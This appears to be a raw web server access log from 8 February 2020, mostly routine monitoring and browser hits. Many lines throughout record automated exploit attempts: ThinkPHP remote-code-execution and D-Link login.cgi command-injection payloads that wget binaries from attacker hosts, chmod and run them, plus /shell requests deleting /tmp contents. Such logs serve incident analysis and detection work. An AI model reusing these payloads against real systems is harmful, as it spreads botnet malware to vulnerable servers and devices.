1.55.150.124 - - [08/Feb/2020:11:02:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.118.121.248 - - [08/Feb/2020:11:02:37 +0100] "GET / HTTP/1.1" 200 1229 "https://porno-gallery.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; XMPP Tiscali Communicator v.10.0.2; .NET CLR 2.0.50727)"
46.118.121.248 - - [08/Feb/2020:11:02:38 +0100] "GET / HTTP/1.1" 200 1229 "https://porno-gallery.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; XMPP Tiscali Communicator v.10.0.2; .NET CLR 2.0.50727)"
212.91.246.72 - - [08/Feb/2020:11:02:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.242.33.204 - - [08/Feb/2020:11:02:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:11:03:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:11:04:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:11:05:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [08/Feb/2020:11:05:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [08/Feb/2020:11:05:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [08/Feb/2020:11:06:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
27.205.41.97 - - [08/Feb/2020:11:06:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.178.8.198 - - [08/Feb/2020:11:06:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [08/Feb/2020:11:06:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:11:06:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:11:07:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:11:08:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.199.121 - - [08/Feb/2020:11:08:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.22.59.21 - - [08/Feb/2020:11:09:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:11:09:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:11:10:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:11:11:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.14.60.52 - - [08/Feb/2020:11:11:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
197.248.141.70 - - [08/Feb/2020:11:12:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:11:12:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.237.10.125 - - [08/Feb/2020:11:13:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:11:13:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.86.125.60 - - [08/Feb/2020:11:13:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:11:14:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:11:15:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:11:16:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:11:17:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [08/Feb/2020:11:17:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [08/Feb/2020:11:18:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
52.26.186.98 - - [08/Feb/2020:11:19:33 +0100] "OPTIONS / HTTP/1.1" 200 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:11:19:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:11:20:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.166.170.76 - - [08/Feb/2020:11:20:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
171.229.226.197 - - [08/Feb/2020:11:20:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:11:21:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
179.98.221.161 - - [08/Feb/2020:11:21:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:11:22:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:11:23:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:11:24:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.163.159.4 - - [08/Feb/2020:11:25:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:11:25:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.66.226.147 - - [08/Feb/2020:11:26:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [08/Feb/2020:11:26:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.79.78.40 - - [08/Feb/2020:11:26:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
42.118.71.210 - - [08/Feb/2020:11:27:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:11:27:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.125.44.233 - - [08/Feb/2020:11:27:55 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:11:28:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:11:29:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.231.158.206 - - [08/Feb/2020:11:29:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
175.35.173.108 - - [08/Feb/2020:11:29:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [08/Feb/2020:11:30:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.248.137.98 - - [08/Feb/2020:11:31:11 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
121.161.99.72 - - [08/Feb/2020:11:31:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [08/Feb/2020:11:31:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [08/Feb/2020:11:31:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [08/Feb/2020:11:31:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:11:31:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [08/Feb/2020:11:32:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:11:32:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.186.135.231 - - [08/Feb/2020:11:33:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:11:33:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:11:34:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.203.193.47 - - [08/Feb/2020:11:34:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:11:35:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.191.233.106 - - [08/Feb/2020:11:36:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [08/Feb/2020:11:36:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.161.98.171 - - [08/Feb/2020:11:36:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:11:37:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.221.111.180 - - [08/Feb/2020:11:38:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:11:38:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.39 - - [08/Feb/2020:11:39:38 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [08/Feb/2020:11:39:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:11:40:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:11:41:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:11:42:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:11:43:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:11:44:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:11:45:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:11:46:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
43.239.205.156 - - [08/Feb/2020:11:47:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:11:47:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:11:48:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:11:49:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.213.2 - - [08/Feb/2020:11:50:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:11:50:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.94.121.193 - - [08/Feb/2020:11:51:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:11:51:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.107.62.5 - - [08/Feb/2020:11:52:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
62.1.158.133 - - [08/Feb/2020:11:52:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:11:52:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:11:53:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.55.87.114 - - [08/Feb/2020:11:53:51 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [08/Feb/2020:11:54:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:11:55:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
52.13.52.147 - - [08/Feb/2020:11:56:09 +0100] "OPTIONS / HTTP/1.1" 200 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:11:56:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.138.129.3 - - [08/Feb/2020:11:57:08 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [08/Feb/2020:11:57:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.225.186.221 - - [08/Feb/2020:11:58:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
54.183.121.99 - - [08/Feb/2020:11:58:39 +0100] "OPTIONS / HTTP/1.1" 200 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:11:58:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.138.129.3 - - [08/Feb/2020:11:59:35 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [08/Feb/2020:11:59:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.186.79.169 - - [08/Feb/2020:12:00:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
54.190.172.45 - - [08/Feb/2020:12:00:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
92.118.161.21 - - [08/Feb/2020:12:00:43 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
212.91.246.72 - - [08/Feb/2020:12:00:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:12:01:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.130.149.61 - - [08/Feb/2020:12:02:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.38.217.106 - - [08/Feb/2020:12:02:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:12:02:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
159.89.43.233 - - [08/Feb/2020:12:03:20 +0100] "GET / HTTP/1.1" 200 1229 "http://www.friedrich-list-berlin.de" "Mozilla/5.0 (X11; Datanyze; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36"
159.89.43.233 - - [08/Feb/2020:12:03:42 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0"
212.91.246.72 - - [08/Feb/2020:12:03:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:12:04:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:12:05:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:12:06:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:12:07:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:12:08:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:12:09:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:12:10:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:12:11:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.144.89.244 - - [08/Feb/2020:12:11:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
